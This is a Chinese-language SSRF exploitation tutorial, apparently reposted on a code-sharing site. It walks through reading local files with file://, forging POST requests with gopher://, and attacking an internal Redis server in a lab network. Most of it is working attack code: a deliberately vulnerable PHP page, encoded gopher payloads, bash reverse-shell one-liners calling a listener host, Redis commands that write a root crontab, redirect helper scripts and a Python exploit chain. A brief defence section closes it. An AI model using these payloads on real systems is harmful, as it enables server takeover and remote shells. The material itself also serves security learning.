SSRF——漏洞利用(二)


0x01 概述

 

上篇講述了SSRF的一般用法,用http協議來進行內網探測,攻擊內網redis,接下來討論的是SSRF的拓展用法,通過,file,gopher,dict協議對SSRF漏洞進行利用。

 

0x02 實驗環境

 

存在SSRF漏洞的靶機:192.168.220.143

被攻擊的內網系統A:192.168.220.139  (web服務器)

 

SSRF漏洞存在於頁面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代碼如下:

<?php
// 創建一個新cURL資源
$ch = curl_init();
// 設置URL和相應的選項
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL並把它傳遞給瀏覽器
curl_exec($ch);
//關閉cURL資源,並且釋放系統資源
curl_close($ch);
?>

  可能出現SSRF的函數:file_get_contents()、curl()、fsocksopen()、fopen()等。

 

【利用1】 通過file協議讀取文件

 

訪問:http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini  ,成功讀取文件

 

【利用2】通過gopher協議對內網系統進行POST攻擊

 

簡要介紹:gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher發送各種格式的請求包,這樣就可以解決漏洞點不在GET參數的問題了。 

假設存在一內網系統(http://192.168.220.139/test/ssrf/post.php),其支持POST請求,代碼如下:

<html>
<head>
    <title>post</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>

 

①通過【curl命令】和【gopher協議】偽造post請求

 
curl -v 'gopher://192.168.220.139:80/_POST%20%2ftest%2fssrf%2fpost.php%20HTTP/1.1%0D%0AHost:%20192.168.220.139%0D%0AUser-Agent:%20curl/7.42.0%0D%0AAccept:%20*/*%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Acmd=aaaaaaaa'

 

科來網絡分析工具抓包:

 

再查看192.168.220.139的系統日志會發現,多了一條來自192.168.220.142的POST請求記錄

  

②通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程偽造post請求

通過SSRF漏洞同樣可以利用gopher協議對內網系統進行POST請求,不過首先需要查看下【phpinfo】,確認curl是enabled,並且需要確認下當前的curl版本是否支持gopher協議。

開始用的7.21.0,就沒有復現成功,這里是個坑- -!如果curl版本太低,調高phpstudy里的php版本就可以惹^^

注意:這里的回車換行要二次編碼:%0D%0A -->%250d%250a

 

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'

 

再去查看192.168.220.139的系統日志會發現,多了一條來自192.168.220.143的POST請求記錄。通過抓包可以看到,實際上,192.168.220.143確實向192.168.220.139發送了一個POST請求,在這里143其實充當了跳板機的角色。

 

攻擊過程如下:

③通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程偽造post請求反彈shell

##補充知識1

靶機:    bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻擊者: nc -lvvp 2333
 
 
回到SSRF漏洞,利用如下,同樣可以反彈shell:
 
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher://192.168.220.139:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f 192.168.220.140%2f 2333%200%3E%261'

 

 

④通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程攻擊內網redis

可以參考這篇文章:通過gopher協議拓展攻擊面

 

##補充知識2

①docker端口映射

docker run -d -p 6379:6379 ssrf_redis  #將docker的6379端口映射到宿主機的6379端口

docker ps   #查看端口映射情況

 

②攻擊redis的exp:

此種方法能攻擊成功的前提條件是:redis是以root權限運行的,通過【ps -aux | grep redis】查看redis服務權限,如果不是以root權限運行,就會出現【Permission denied】的報錯。

redis-cli -h 192.168.220.142 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.140/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

 

回到上面說的通過SSRF漏洞結合gopher協議攻擊內網redis,可以構造如下命令,即可反彈shell:

 

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=gopher:// 192.168.220.142:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f 192.168.220.140%2f 5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

 

③redis安全策略

  1. 開啟protected-mode保護模式,配置bind選項,限定可以連接Redis服務器的IP,修改 Redis 的默認端口6379
  2. 配置認證,也就是AUTH,設置密碼,密碼會以明文方式保存在Redis配置文件中
  3. 禁止使用root運行redis

 

【利用3】盲打Struts2命令執行

Struts指紋識別 -> Struts遠程代碼執行漏洞

搜狐某雲服務API接口導致SSRF/手工盲打到Struts2命令執行

 

【利用4】通過dict協議讀取目標服務器端口上運行的服務版本信息

訪問:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.143:3306

 

 

【利用5】通過dict協議getshell

參考:

小米某處SSRF漏洞(可內網SHELL 附多線程Fuzz腳本)

騰訊某處SSRF漏洞(非常好的利用點)附利用腳本

 

關於dict協議:
  > dict://serverip:port/命令:參數
  > 向服務器的端口請求 命令:參數,並在末尾自動補上\r\n(CRLF),為漏洞利用增添了便利

如果服務端不支持gopher協議,可嘗試dict協議,不過通過dict協議的話要一條一條的執行,而gopher協議執行一條命令就行了。

 

通過【curl命令】和【dict協議】可以對redis進行操作:

 

 

0x03 SSRF繞過限制

http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php,代碼如下:

<?php
// 創建一個新cURL資源 $ch = curl_init(); // 設置URL和相應的選項 curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); //跳轉重定向為True,默認不跳轉 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // 限制為HTTPS、HTTP協議 curl_setopt($ch, CURLOPT_HEADER, false); // 抓取URL並把它傳遞給瀏覽器 curl_exec($ch); //關閉cURL資源,並且釋放系統資源 curl_close($ch); ?>

 

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=flushall'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/shell.php?s=dict%26ip=192.168.220.142%26port=6379%26bhost=192.168.220.140%26bport=7777'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=config:set:dir:/var/spool/cron/'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142&port=6379&data=config:set:dbfilename:root'

curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=save'

 (理論上應該可以,但是實驗沒有成功,有可能是url編碼的問題,以后有時間再來深究)

 

 實戰代碼:

#!/usr/bin/env python # encoding: utf-8  import requests host = '192.168.220.142' port = '6379' bhost = '192.168.220.140' bport = '7777' vul_httpurl = 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=' _location = 'http://192.168.220.139:80/test/ssrf/302.php' shell_location = 'http://192.168.220.139:80/test/ssrf/shell.php' #1 flush db _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #2 set crontab command _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #3 config set dir /var/spool/cron/ _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #4 config set dbfilename root _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #5 save to file _payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content

 

302.php輔助腳本:

<?php
$ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>

 

shell.php輔助腳本:

<?php
$ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>

 

file.php輔助腳本

<?php
header("Location: file:///c:/windows/system.ini"); ?>

 

0x04 SSRF防御

1.禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題

2.統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態

3.禁止302跳轉,或者每跳轉一次,就檢查一次新的Host是否是內網IP,直到抵達最后的網址。

還有一種比較暴力的,就是哪里出錯刪哪里。比如Weblogic不需要UDDI功能,就關閉這個功能(可以刪除uddiexporer文件夾)。

 

 

參考鏈接:

SSRF學習之路

利用 Gopher 協議拓展攻擊面

豬豬俠2016 SSRF PPT

騰訊某處SSRF漏洞

SSRF漏洞的利用與學習


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM